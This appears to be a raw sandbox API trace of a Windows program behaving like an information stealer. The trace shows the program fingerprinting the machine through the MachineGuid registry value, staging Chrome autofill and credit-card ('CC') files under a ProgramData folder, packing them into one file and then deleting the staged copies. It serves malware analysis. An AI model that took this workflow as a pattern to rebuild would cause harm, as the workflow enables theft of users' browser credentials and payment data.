GdipDisposeImage (image=0x2d51f20) returned 0x0 [0053.453] GdipFree (ptr=0x2d51f08) [0053.453] DeleteObject (ho=0x405074a) returned 1 [0053.453] GdiplusShutdown (token=0x2135f) [0053.465] SetCurrentDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\files")) returned 1 [0053.465] GetUserNameA (in: lpBuffer=0x19d6e8, pcbBuffer=0x19d6e4 | out: lpBuffer="CIiHmnxMn6Ps", pcbBuffer=0x19d6e4) returned 1 [0053.465] GetLogicalDriveStringsA (in: nBufferLength=0x64, lpBuffer=0x19fa00 | out: lpBuffer="C:\\") returned 0x4 [0053.471] GetLogicalDriveStringsA (in: nBufferLength=0x64, lpBuffer=0x19fa00 | out: lpBuffer="C:\\") returned 0x4 [0053.678] SetCurrentDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk")) returned 1 [0053.679] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f858 | out: phkResult=0x19f858*=0x394) returned 0x0 [0053.679] RegQueryValueExA (in: hKey=0x394, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0x19f960, lpcbData=0x19f85c*=0xff | out: lpType=0x0, lpData=0x19f960*=0x34, lpcbData=0x19f85c*=0x25) returned 0x0 [0053.679] RegCloseKey (hKey=0x394) returned 0x0 [0053.679] CharToOemA (in: pSrc="427a1946-e0ff-4097-8c9e-ca2c1e22780b", pDst=0x19f860 | out: pDst="427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 1 [0053.680] GetDesktopWindow () returned 0x10010 [0053.680] GetTickCount () returned 0x2163d [0053.680] GetLastError () returned 0x0 [0053.682] ReadFile (in: hFile=0x3b0, lpBuffer=0x25ebf40, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x19e208, lpOverlapped=0x0 | out: lpBuffer=0x25ebf40*, lpNumberOfBytesRead=0x19e208*=0x0, lpOverlapped=0x0) returned 1 [0053.682] WriteFile (in: hFile=0x394, lpBuffer=0x1f0e534*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x19e1c8, lpOverlapped=0x0 | out: lpBuffer=0x1f0e534*, lpNumberOfBytesWritten=0x19e1c8*=0x2, lpOverlapped=0x0) returned 1 [0053.683] CloseHandle (hObject=0x3b0) returned 1 [0053.683] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.683] WriteFile (in: hFile=0x394, lpBuffer=0x19e24f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e24f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.683] WriteFile (in: hFile=0x394, lpBuffer=0x19e24f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e24f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.683] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.683] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.683] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.683] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.683] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.683] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.683] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.683] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.683] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.683] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.684] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.684] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.684] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.684] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.684] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.684] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.684] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.684] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.684] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.684] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.684] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.684] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.684] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.684] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.684] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.684] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.685] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.685] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.685] WriteFile (in: hFile=0x394, lpBuffer=0x19e3c8*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e3c8*, lpNumberOfBytesWritten=0x19e228*=0x23, lpOverlapped=0x0) returned 1 [0053.685] WriteFile (in: hFile=0x394, lpBuffer=0x19e6fc*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e6fc*, lpNumberOfBytesWritten=0x19e228*=0x11, lpOverlapped=0x0) returned 1 [0053.685] SetFilePointer (in: hFile=0x394, lDistanceToMove=84, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x54 [0053.685] DeleteFileW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Autofill\\Google Chrome_Default.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\autofill\\google chrome_default.txt")) returned 1 [0053.685] FindNextFileW (in: hFindFile=0x589e40, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 0 [0053.685] FindClose (in: hFindFile=0x589e40 | out: hFindFile=0x589e40) returned 1 [0053.685] PathMatchSpecW (pszFile="Autofill", pszSpec="*.*") returned 1 [0053.686] CreateFileA (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Autofill" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\autofill"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.686] DeleteFileW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Autofill" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\autofill")) returned 0 [0053.686] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19f118 | out: lpFindFileData=0x19f118) returned 1 [0053.686] lstrcpyW (in: lpString1=0x19f828, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" [0053.686] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\" [0053.686] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\", lpString2="CC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC" [0053.686] lstrcpyW (in: lpString1=0x19f61c, lpString2="" | out: lpString1="") returned="" [0053.686] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0053.686] lstrcatW (in: lpString1="\\", lpString2="CC" | out: lpString1="\\CC") returned="\\CC" [0053.686] lstrcmpW (lpString1="CC", lpString2=".") returned 1 [0053.686] lstrcmpW (lpString1="CC", lpString2="..") returned 1 [0053.686] lstrcpyW (in: lpString1=0x19ea84, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC" [0053.686] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\*.*") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\*.*" [0053.686] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\*.*", lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 0x58a040 [0053.686] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC" [0053.686] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\" [0053.686] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\." [0053.686] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\CC" | out: lpString1="\\CC") returned="\\CC" [0053.686] lstrcatW (in: lpString1="\\CC", lpString2="\\" | out: lpString1="\\CC\\") returned="\\CC\\" [0053.686] lstrcatW (in: lpString1="\\CC\\", lpString2="." | out: lpString1="\\CC\\.") returned="\\CC\\." [0053.686] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.686] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 1 [0053.686] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC" [0053.686] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\" [0053.686] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\.." [0053.687] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\CC" | out: lpString1="\\CC") returned="\\CC" [0053.687] lstrcatW (in: lpString1="\\CC", lpString2="\\" | out: lpString1="\\CC\\") returned="\\CC\\" [0053.687] lstrcatW (in: lpString1="\\CC\\", lpString2=".." | out: lpString1="\\CC\\..") returned="\\CC\\.." [0053.687] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.687] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.687] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 1 [0053.687] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC" [0053.687] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\" [0053.687] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\", lpString2="Google Chrome_Default.txt" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\Google Chrome_Default.txt") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\Google Chrome_Default.txt" [0053.687] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\CC" | out: lpString1="\\CC") returned="\\CC" [0053.687] lstrcatW (in: lpString1="\\CC", lpString2="\\" | out: lpString1="\\CC\\") returned="\\CC\\" [0053.687] lstrcatW (in: lpString1="\\CC\\", lpString2="Google Chrome_Default.txt" | out: lpString1="\\CC\\Google Chrome_Default.txt") returned="\\CC\\Google Chrome_Default.txt" [0053.687] PathMatchSpecW (pszFile="Google Chrome_Default.txt", pszSpec="*.*") returned 1 [0053.687] CreateFileA (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\Google Chrome_Default.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cc\\google chrome_default.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0053.687] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x54 [0053.687] GetFileInformationByHandle (in: hFile=0x3b0, lpFileInformation=0x19e1b8 | out: lpFileInformation=0x19e1b8) returned 1 [0053.687] GetFileSize (in: hFile=0x3b0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0053.687] FileTimeToSystemTime (in: lpFileTime=0x19e174, lpSystemTime=0x19e158 | out: lpSystemTime=0x19e158) returned 1 [0053.687] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.687] WriteFile (in: hFile=0x394, lpBuffer=0x19e24f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e24f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.687] WriteFile (in: hFile=0x394, lpBuffer=0x19e24f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e24f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.687] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.687] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.688] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.688] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.688] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.688] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.688] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.688] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.688] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.688] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.688] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.688] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.688] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.688] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.688] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.689] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.689] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.689] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.689] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.689] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.689] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.689] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.689] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.689] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.689] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.689] WriteFile (in: hFile=0x394, 